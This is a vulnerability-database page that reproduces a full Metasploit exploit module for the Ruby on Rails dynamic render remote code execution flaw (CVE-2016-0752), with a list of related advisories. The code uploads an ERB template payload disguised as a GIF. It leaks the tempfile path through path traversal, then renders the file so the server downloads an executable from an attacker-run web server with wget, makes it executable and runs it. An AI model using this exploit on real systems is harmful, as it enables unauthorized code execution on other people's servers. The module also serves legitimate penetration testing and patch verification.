Lucene search
K

Ruby on Rails Dynamic Render File Upload Remote Code Execution

🗓️ 15 Oct 2016 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 53 Views

Exploits Ruby on Rails dynamic render file upload remote code execution vulnerability

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Rubyonrails Rails
26 Jan 201615:25
githubexploit
ATTACKERKB
CVE-2016-2097
7 Apr 201600:00
attackerkb
ATTACKERKB
CVE-2016-0752
16 Feb 201600:00
attackerkb
FreeBSD
rails -- multiple vulnerabilities
25 Jan 201600:00
freebsd
BDU FSTEC
The vulnerability of the Ruby on Rails software platform, which allows a hacker to read arbitrary files
17 Mar 201600:00
bdu_fstec
Circl
CVE-2016-0752
17 Oct 201600:00
circl
CISA KEV Catalog
Ruby on Rails Directory Traversal Vulnerability
25 Mar 202200:00
cisa_kev
CNVD
Ruby on Rails Action View Directory Traversal Vulnerability
8 Feb 201600:00
cnvd
Check Point Advisories
Ruby On Rails Directory Traversal (CVE-2016-0752)
19 Apr 202200:00
checkpoint_advisories
CVE
CVE-2016-0752
16 Feb 201602:00
cve
Rows per page
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in the explicit render
        method when leveraging user parameters.
        This module has been tested across multiple versions of Ruby on Rails.
        The technique used by this module requires the specified
        endpoint to be using dynamic render paths, such as the following example:

        def show
          render params[:id]
        end

        Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
        can literally be any endpoint. This module doesnt use the log inclusion method of
        exploitation due to it not being universal enough. Instead, a new code injection
        technique was found and used whereby an attacker can upload temporary image files
        against any POST endpoint and use them for the inclusion attack. Finally, you only
        get one shot at this if you are testing with the builtin rails server, use caution.
      },
      'Author'         =>
        [
          'mr_me <[email protected]>',      # necromanced old bug & discovered new vector rce vector
          'John Poulin (forced-request)'               # original render bug finder
        ],
      'References'  =>
        [
          [ 'CVE', '2016-0752'],
          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'],        # rails patch
          [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'],  # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
          [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'],                     # John's original exploit
        ],
      'License'        => MSF_LICENSE,
      'Platform'    => ['linux', 'bsd'],
      'Arch'        => ARCH_X86,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Privileged'     => false,
      'Targets'     =>
        [
          [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ]                                                   # Other versions are also affected
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 16 2016'))
    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ], self.class)
  end

  def check

    # this is the check for the dev environment
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "%2f"),
      'method'    =>  'GET',
    }, 60)

    # if the page controller is dynamically rendering, its for sure vuln
    if res and res.body =~ /render params/
      return CheckCode::Vulnerable
    end

    # this is the check for the prod environment
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
      'method'    =>  'GET',
    }, 60)

    # if we can read files, its likley we can execute code
    if res and res.body =~ /ruby/
      return CheckCode::Appears
    end
    return CheckCode::Safe
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8+rand(8))
    fn  = rand_text_alpha(8+rand(8))
    un  = rand_text_alpha(8+rand(8))
    pn  = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd  = "wget #{@service_url} -O /tmp/#{@bd};"
    cmd << "chmod 755 /tmp/#{@bd};"
    cmd << "/tmp/#{@bd}"
    pay = "<%=`#{cmd}`%>"
    print_status("uploading image...")
    data = Rex::MIME::Message.new
    data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
    res = send_request_cgi({
      'method' => 'POST',
      'cookie' => @cookie,
      'uri'    => normalize_uri(datastore['URIPATH'], pn),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s
    })
    if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/
      @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/
      return true
    else

      # this is where we pull the log file
      if leak_log
        return true
      end
    end
    return false
  end

  def leak_log

    # path to the log /proc/self/fd/7
    # this bypasses the extension check
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
      'method'    =>  'GET',
    }, 60)

    if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
      @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
      return true
    end
    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
  end

  def render_tmpfile
    @path.gsub!(/\//, '%2f')
    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], @path),
      'method'    =>  'GET',
    }, 1)
  end

  def exploit
      print_status("Sending initial request to detect exploitability")
      start_http_server
      if send_payload
        print_good("injected payload")
        render_tmpfile

        # we need to delay, for the stager
        select(nil, nil, nil, 5)
      end
  end
end

#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation